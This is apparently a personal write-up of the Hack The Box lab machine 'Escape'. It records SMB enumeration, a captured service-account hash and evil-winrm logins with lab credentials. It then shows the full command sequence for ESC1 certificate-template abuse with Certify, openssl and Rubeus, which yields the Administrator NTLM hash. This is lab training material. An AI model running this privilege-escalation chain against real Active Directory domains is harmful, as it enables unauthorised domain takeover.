HTB - Escape

nmap has quite a few ports open and SMB with anonymous access enabled. listing public share of SMB gives us sql server procedures file: ![](/img/Pasted image 20240522110117.png)

very cool. from here, we actually get NTLM hash of sql svc user using the exact same exploit path seen in [[HTB - Querier]] ![](/img/Pasted image 20240522114341.png)

SQL (sequel\sql_svc  guest@master)> enable_xp_cmdshell
[-] ERROR(DC\SQLMOCK): Line 105: User does not have permission to perform this action.
[-] ERROR(DC\SQLMOCK): Line 1: You do not have permission to run the RECONFIGURE statement.
[-] ERROR(DC\SQLMOCK): Line 62: The configuration option 'xp_cmdshell' does not exist, or it may be an advanced option.
[-] ERROR(DC\SQLMOCK): Line 1: You do not have permission to run the RECONFIGURE statement.
SQL (sequel\sql_svc  guest@master)> 

uh oh

** PART YOU FUCKED UP - use winrm to get a shell

┌──(root㉿kali)-[~/boxes/escape]
└─# evil-winrm -i sequel.htb -u sql_svc -p REGGIE1234ronnie 

** PART YOU FUCKED UP again - enumeration - you really ought to look around the system more. there's credentials in sqlserver log .bak file.

2022-11-18 13:43:07.44 Logon       Logon failed for user 'sequel.htb\Ryan.Cooper'. Reason: Password did not match that for th
2022-11-18 13:43:07.48 Logon       Error: 18456, Severity: 14, State: 8.
2022-11-18 13:43:07.48 Logon       Logon failed for user 'NuclearMosquito3'. Reason: Password did not match that for the login

** PART YOU FUCKED UP third time - what the fuck is a certificate authority attack? what the fuck is certify/rubeus? anyway upload certify and run .\Certify.exe find /vulnerable

in our case, using evil-winrm you can provide -e flag and give path to compiled binary directory. from there you can use Invoke-Binary /path/to/binary.exe [this didnt work actually so maybe it works for other binaries, just not for certify]

Another thing you fucked up - why its important certificate authority is on remote machine. ** probably look into this later and understand this exploit ![](/img/Pasted image 20240522154108.png)

We can indeed see that there actually is a vulnerable template called UserAuthentication . In particular we can see that Authenticated Users can enroll for this template and since the msPKI-CertificateName-Flag is present and contains ENROLLEE_SUPPLIES_OBJECT the template is vulnerable to the ESC1 scenario. Essentially, this allows anyone to enroll in this template and specify an arbitrary Subject Alternative Name. Meaning that, we could authenticate as a Domain Administrator by exploiting this attack path.

To exploit this, we are going to use certipy.

┌──(root㉿kali)-[~/boxes/escape]
└─# certipy
usage: certipy [-h] [--ca-name CA_NAME] [--overwrite] [--rm] [--cert-type {rsa,dsa}]
               [--bits BITS] [--valid VALID] [--alt-names ALT_NAMES]
               [--store-dir STORE_DIR]
               name

read: https://medium.com/@ardian.danny/hackthebox-escape-writeup-931dba100509#:~:text=First%2C%20we%20should%20run%20.%5CCertify.exe%20find%20/vulnerable https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-misconfigured-certificate-template-to-domain-admin second link is an explanation of this exploit --- ECS1 privilege escalation technique

3 key pieces of information, that tell us that the certificate template is vulnerable and can be abused for privilege escalation from regular user to domain administrator:
1. `msPKI-Certificates-Name-Flag: ENROLLEE_SUPPLIES_SUBJECT` field field, which indicates that the user, who is requesting a new certificate based on this certificate template, can request the certificate for another user, meaning any user, including domain administrator user.
2. `PkiExtendedKeyUsage: Client Authentication`, which indicates that the certificate that will be generated based on this certificate template can be used to authenticate to computers in Active Directory.
3. `Enrollment Rights: NT Authority\Authenticated Users`, which indicates that any authenticated user in the Active Directory is **allowed to request** new certificates to be generated based on this certificate template.
We just need to run this.

> `.\Certify.exe request /ca:<$certificateAuthorityHost> /template:<$vulnerableCertificateTemplateName> /altname:<$adUserToImpersonate>`

In our case, we just need to run this.

`.\Certify.exe request /ca:dc.sequel.htb\sequel-DC-CA /template:UserAuthentication /altname:Administrator`

The above generates a certificate.

After running the command above, we will receive the certificate in a PEM format along with a private key. We need to convert it to PFX format. As the article suggests, we can use OpenSSL to do this by running the following command:

[*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

![](/img/Pasted image 20240522160416.png) difference between cert.pem and certificate above is that certificate is the full output that certify.exe gave us (included privatekey and certificate)

Once we have the certificate in `cert.pfx`, we can request a Kerberos TGT for the user for which we minted the new certificate:

`Rubeus.exe asktgt /user:<$adUserToImpersonate> /certificate:cert.pfx /ptt`

![](/img/Pasted image 20240522161021.png) ![](/img/Pasted image 20240522161124.png) This didn't exactly work, but hey we can just grab the NTLM hash of the administrator user and use that with evil-winrm anyway.

*Evil-WinRM* PS C:\Users\Ryan.Cooper\Documents> . ./Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /getcredentials
[...]
[*] Getting credentials using U2U

  CredentialInfo         :
    Version              : 0
    EncryptionType       : rc4_hmac
    CredentialData       :
      CredentialCount    : 1
       NTLM              : A52F78E4C751E5F5E17E1E9F3E58F4EE
       

![](/img/Pasted image 20240522161402.png)